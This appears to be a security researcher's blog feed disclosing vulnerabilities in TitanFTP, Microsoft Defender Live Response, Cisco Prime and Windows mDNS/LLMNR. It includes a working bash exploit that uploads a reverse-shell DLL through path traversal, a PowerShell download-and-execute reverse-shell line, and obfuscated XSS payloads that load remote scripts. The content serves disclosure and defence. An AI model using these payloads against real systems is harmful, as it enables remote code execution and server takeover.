TitanFTP Server is vulnerable to a path traversal attack in the move-file function. An attacker can exploit this vulnerability by providing a specially crafted newPath parameter that contains directory traversal sequences (e.g., '../') to move a file to a directory outside the intended directory. This can allow an attacker to access sensitive files and execute arbitrary code. The vulnerability exists because the server does not properly validate the user-supplied newPath parameter. As a result, an attacker can send a request with the malicious parameter to bypass the intended directory and access unauthorized files.
This is an authenticated exploit. An attacker would need a user account on the TitanFTP server, to upload the files.
The service-application is vulnerable to a DLL search order hijack. It is importing several Windows DLL-files, like version.dll. By placing a proxy-DLL named version.dll exploiting the path traversal vulnerability, this DLL will proxy imports to the original version.dll also uploaded in the application directory, with the name version32.dll, one will gain Remote Code Execution on the server as NT System.
Using this batchfile, an authenticated attacker can upload 2 dll-files, doing DLL-Hijack by proxy. In this poc, I am uploading a reverse-shell DLL-File, named version.dll, that proxies exports to the original version.dll, here named version32.dll.
#!/bin/bash
url="http://192.168.16.226"
user="me"
pass="me"
proxydll="version.dll"
orig_dll="version32.dll"
host=$(echo -n $url|cut -d/ -f 3)
auth=$(curl -s -k -X POST -H "Host: $host" -H "No-Auth-Challenge: true" -H "User-Agent: Nah" -H "content-type: application/json" -H "Accept: */*" -H "Origin:$url" -H "Referer: $url" -H "Accept-Encoding: gzip, deflate" -H "Accept-Language: en-US,en;q=0.9,nb;q=0.8,no;q=0.7,en-GB;q=0.6" -H "Connection: close" -d "{\"user\":\"$user\",\"pass\":\"$pass\",\"ticket\":null,\"showEULA\":false}" "$url/WebApi/Login")
SessionId=$(echo -n $auth |jq .auth.SessionId)
SessionId=$(echo -n "${SessionId//\"}")
ServerGUID=$(echo -n $auth |jq .auth.ServerGUID)
ServerGUID=$(echo -n "${ServerGUID//\"}")
#Uploading files
curl -i -s -k -v -X POST -H "User-Agent: Nah" -H 'No-Auth-Challenge: true' -H 'enctype: multipart/form-data' -H "SRTSessionId: $SessionId" -F "request={\"Model\":\"MxUtilFileAction\",\"ServerGUID\":\"$ServerGUID\",\"Action\":\"l\",\"SRTSessionId\":\"$SessionId\",\"Ticket\":null,\"Data\":{\"action\":\"uc\",\"chunkData\":{\"UploadUid\":\"935ee903-2f65-442a-8a0b-1b23d12537c5\",\"FileName\":\"$proxydll\",\"RelativeFullPath\":\"/$proxydll\",\"ContentType\":\"contenttype\",\"ChunkIndex\":0,\"ChunkSize\":2,\"TotalChunks\":1,\"TotalFileSize\":19456,\"Overwrite\":true},\"domainData\":false,\"domainLogs\":false,\"SRTSessionId\":\"$SessionId\"}}" -F "chunk=@$proxydll;filename=blob;type=application/octet-stream" $url/WebApi/ProcessWithChunk
curl -i -s -k -v -X POST -H "User-Agent: Nah" -H 'No-Auth-Challenge: true' -H 'enctype: multipart/form-data' -H "SRTSessionId: $SessionId" -F "request={\"Model\":\"MxUtilFileAction\",\"ServerGUID\":\"$ServerGUID\",\"Action\":\"l\",\"SRTSessionId\":\"$SessionId\",\"Ticket\":null,\"Data\":{\"action\":\"uc\",\"chunkData\":{\"UploadUid\":\"935ee903-2f65-442a-8a0b-1b23d12537c5\",\"FileName\":\"$orig_dll\",\"RelativeFullPath\":\"/$orig_dll\",\"ContentType\":\"contenttype\",\"ChunkIndex\":0,\"ChunkSize\":2,\"TotalChunks\":1,\"TotalFileSize\":19456,\"Overwrite\":true},\"domainData\":false,\"domainLogs\":false,\"SRTSessionId\":\"$SessionId\"}}" -F "chunk=@$orig_dll;filename=blob;type=application/octet-stream" $url/WebApi/ProcessWithChunk
#Moving them into c:\Program Files\South River Technologies\srxserver\"
curl -i -s -k -X POST -H "No-Auth-Challenge: true" -H "SRTSessionId: $SessionId" -H "User-Agent: Nah" -H "content-type: application/json" -H "Accept: */*" -H "Origin: $url" -H "Referer: $url/" -H "Accept-Encoding: gzip, deflate" -H "Accept-Language: en-US,en;q=0.9,nb;q=0.8,no;q=0.7,en-GB;q=0.6" -H "Connection: close" -d "[{\"Model\":\"MxUtilFileAction\",\"ServerGUID\":\"$ServerGUID\",\"Action\":\"l\",\"disableErrorSnackBar\":true,\"Data\":{\"action\":\"mv\",\"path\":\"/$proxydll\",\"newPath\":\"/../../../../../../../Program Files/South River Technologies/srxserver/$proxydll\",\"domainData\":false,\"domainLogs\":false,\"SRTSessionId\":\"$SessionId\"},\"SRTSessionId\":\"$SessionId\"}]" "$url/WebApi/Process"
curl -i -s -k -X POST -H "No-Auth-Challenge: true" -H "SRTSessionId: $SessionId" -H "User-Agent: Nah" -H "content-type: application/json" -H "Accept: */*" -H "Origin: $url" -H "Referer: $url/" -H "Accept-Encoding: gzip, deflate" -H "Accept-Language: en-US,en;q=0.9,nb;q=0.8,no;q=0.7,en-GB;q=0.6" -H "Connection: close" -d "[{\"Model\":\"MxUtilFileAction\",\"ServerGUID\":\"$ServerGUID\",\"Action\":\"l\",\"disableErrorSnackBar\":true,\"Data\":{\"action\":\"mv\",\"path\":\"/$orig_dll\",\"newPath\":\"/../../../../../../../Program Files/South River Technologies/srxserver/$orig_dll\",\"domainData\":false,\"domainLogs\":false,\"SRTSessionId\":\"$SessionId\"},\"SRTSessionId\":\"$SessionId\"}]" "$url/WebApi/Process"
Unauthenticated stored XSS in server-log delivered via username field from login-form
CSRF-token exposed in javascript, making it possible to obtain a valid CSRF-Token and use it in XMLHTTPRequests. This vulnerability allows an attacker to add a task that runs commands on the server as "NT-System" Impact:
PowerShell -noprofile -executionpolicy bypass "Start-process powershell.exe -argumentlist '-window hidden -noexit Start-Job { IEX(IWR https://example.com/rev.ps1 -UseBasicParsing) }'";exit
<img id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vZXhhbXBsZS5jb20veHNzLmpzIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw src=https://example.com/1 onload=eval(atob(this.id))>
https://nvd.nist.gov/vuln/detail/CVE-2022-42711
https://community.progress.com/s/article/Product-Alert-Bulletin-October-2022
Improper validation of strings from SNMP devices when using the SNMP MIB Walker, makes the application prone to a reflected XXS attack.
sysContact Me <me@example.org>
sysLocation Home
sysName LinuxPC<script src='https://f20.be/t.js'/>
The attacker will have Remote Code Execution as the "NT System" account. Full control of the server.
From Microsoft Docs
Live response gives security operations teams instantaneous access to a device (also referred to as a machine) using a remote shell connection. This gives you the power to do in-depth investigative work and take immediate response actions to promptly contain identified threats in real time.
Live response is designed to enhance investigations by enabling your security operations team to collect forensic data, run scripts, send suspicious entities for analysis, remediate threats, and proactively hunt for emerging threats.
The Live Response console, is basically a restricted Powershell shell with its own commands. Depending on the role that's been granted to you, you can run basic or advanced live response commands. The "basic commands" are very restricted, but the "advanced commands", give you ability to upload Powershell-scripts to a repository and run them on any computer you connect to. The console runs in the context of "NT System", so you can imagine the impact if an account with Advanced commands rights got compromised.
The problem here, is that you probably want members of your security operations team to have the ability to run scripts, like if you have uploaded a script-toolkit to your repository. But one should also keep the number of users that can upload new scripts to a minimum.
To further secure the environment and accomplish this, one should only allow digitally signed scripts. (this is the default setting and should not be disabled). This way you can upload a script-toolkit to the repository and allow every member of your team run them, but only scripts signed with a trusted signing certificate (limit access to those certificates of course) may upload a executable script.
Sometimes you need to be able to pass parameters to script too. Microsoft Live Response allows this, by letting you tick "Script parameters" when uploading. This marks the script as a parameter-script and you can pass parameters to it when running it.
What I found was that you could inject commands into the parameter. Like so:
"'parameter';Command"
This would then execute any command added. In the example below, executing
whoami
I even managed getting a Powershell Reverseshell from one of our servers.
This meant that if an account with rights to run scripts would be compromised, the attacker could run any command on any computer/server as the nt-Authority\System account.
Complete local domain pwnage from the cloud!
I reported this to Microsoft Security Response Center. I responsibly waited for them to address this before disclosing and they now reported back that the issue has been fixed. Earning me an acknowledgement.
]]>It is a form of DLL-Hijacking by-proxy.
DLL-Hijacking is when a application loads a dll-file from a location where an attacker can write. Replacing that DLL with a DLL containing a payload of their choice, will compromise the account running the application. This could be a ordinary user, a administrator or even "NT System", if the application is a service. You cannot replace just any DLL-file. It has to be a file not really needed for the application to function properly. That means it isn't possible in just any application either.
An example:
Autodesk AutoCAD 2007 - 'color.dll' DLL Hijacking
In DLL-sideloading, we also look for dll-files located in locations where we could write. But here, we use a dll-proxy file containing our payload and proxying the applications requests to the original file or a local copy of the original file. This way, we don't break the application and it will continue to work normally.
Even if the application doesn't have DLL-files in its application directory, it could be vulnerable for this kind of attack if it doesn't call the DLL-file(s) using absolute path. What happens then, is that it will look in its current location first and then look in %PATH% to find it.
Like in the screenshot below: Microsoft Teams, trying to load dbghelp.dll from current folder first, fails and continues looking for it in PATH, finding the requested file in c:\windows\system32
A lot of the modern applications, installed in the users %appdata% appears to be vulnerable to DLL-Sideloading. As the user have full control over that folder an attacker could use this to gain access and persistance through e.g. a phishing attack.
In this video, I have shown how a DLL-Sideloading attack works and also that enabling AppLocker without enforcing DLL-rules, is of no use at all.
]]>I made a little POC video back in April, showing the dangers of leaving LLMNR enabled on your Windows computers.
In this video, we can see there is a "feature" in Windows, making the computer sending LLMNR broadcast on every character, if you start typing a UNC path. If you place a computer running Responder on the local network, it will response to every single one of that characters, pretending to be a computer asking for authentication.
Your Windows computer gladly hands out the netNTLM-hash of the logged on user. Those hashes could easily ble cracked by an attacker if the password is easy or/and short, but it can also be relayed to other services on your network, giving the attacker access to them, without even bothering trying to crack the hash.
There have been written tons about this on blogs/articles around on the Internet. If you're not familiar with it, you can read more about Responder and relaying in this excellent article.
The same problem exists if your computer har NBT-NS (Netbios Name-Service) enabled. So, one should absolutely disable those two protocols, as they are really not needed in a corporate network.
This great article, will tell you how to go around to get that task done.
The other day I read this post on LinkedIn, showing you could use a tool named mitm6, to set up a rogue IPv6 DHCP server, and then be able to catch the hashes over IPv6 instead.
That sounded really scary and was news for me.
I had to see this for myself, so I put up Responder on a computer in my lab network. I first had to verify everything was locked down as it should, and did a testrun from a freshly installed Windows 11 with LLMNR and NBT-NS disabled.
I was in for a surprise...
I didn't even get around to start mitm6! The hashes just started to furiously hit my Responder. Something had clearly changed since the last time I visited the topic. This was really strange and unexpected behaviour.
This time, it looked like mDNS was the culprit!? I wasn't even aware Microsoft had implemented native mDNS support, but apparently they did at some point in Windows 10 and of course Windows 11 and Windows server 2022 has it enabled by default too!
I testet it out on a Windows 2022 Domain controller and a Windows 10 computer too. Hashes all over! mDNS had no qualms about help telling anyone interested, what my netNTLM-hash looked like...
Trying to get to the core of the problem, I inspected services running on the computer and figured out mDNS is a part of the DNSCache service, now.
Disabling DNSCache is not an option. (tried it) It stops mDNS, but it also breaks a lot of other stuff.
Checking the registry, it turns out there is only a key named mDNS under the DNSCache service, nothing else. No parameters to be set/changed....
]]>This report documents the vulnerabilities we found in Cisco Prime, version 3.9.1. Each of these vulnerabilities is not critical, but by chaining them together we managed to achieve remote code execution on the Cisco Prime appliance.
In short, we had a malicious system on the network that replies to SNMP queries. By carefully crafting the sysName data, we managed to trigger a Cross Site Scripting in the Prime Management interface, after the administrator did a SNMP based discovery on the network.
The XSS is used to download a malicious Javascript from our attack server. This malicious Javascript will run in the session of the administrator, upload a JSP based reverse shell to Tomcat and then run this shell to give us access to the Cisco Prime appliance.
We could bypass the upload restrictions because the upload of malicious files to the Prime server is checked in the web UI, not on the server. A path traversal vulnerability enabled us to upload our reverse shell anywhere on the filesystem where the Prime server has permissions to write, and by placing the reverse shell in the webroot, we were able to run it locally in Tomcat.
We have also created a POC video showing the process from XSS to RCE:
Improper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks.
Placing a XSS payload in the sysName-field reflects it onto the application, triggers the exploitation. Alternatively or in addition to; the payload can also be a HTML tag, pointing to a SMB resource, leaking the logged on Windows-user’s netNTLM hash
Exposed Javascript function “wap.csrf_token”,makes it possible to collect CSRF-Token in XSS and use it in requests.
No control of filetype, makes it possible to upload jsp-files. Exploiting the Syslog-script upload. Even if the “Enable ‘Run Script’ policy action” under: “Administration / Settings / System Settings / Alarms and Events / Syslog Policies” is unticked, because that only enables or disables the option in the UI, it does nothing to the function itself.
Path traversal vulnerability in the upload function, allows uploading files to any writable path as user “Prime”. Using this, jsp-files can be placed in webroot.
SessionID is also stored in browsers “LocalStorage”, so even if Session-Cookie is “HTML- Only”, it can be exfiltrated using XSS.
Having control over the CSRF-Token, an attacker can now use CSRF against any function on the application.
A...
]]>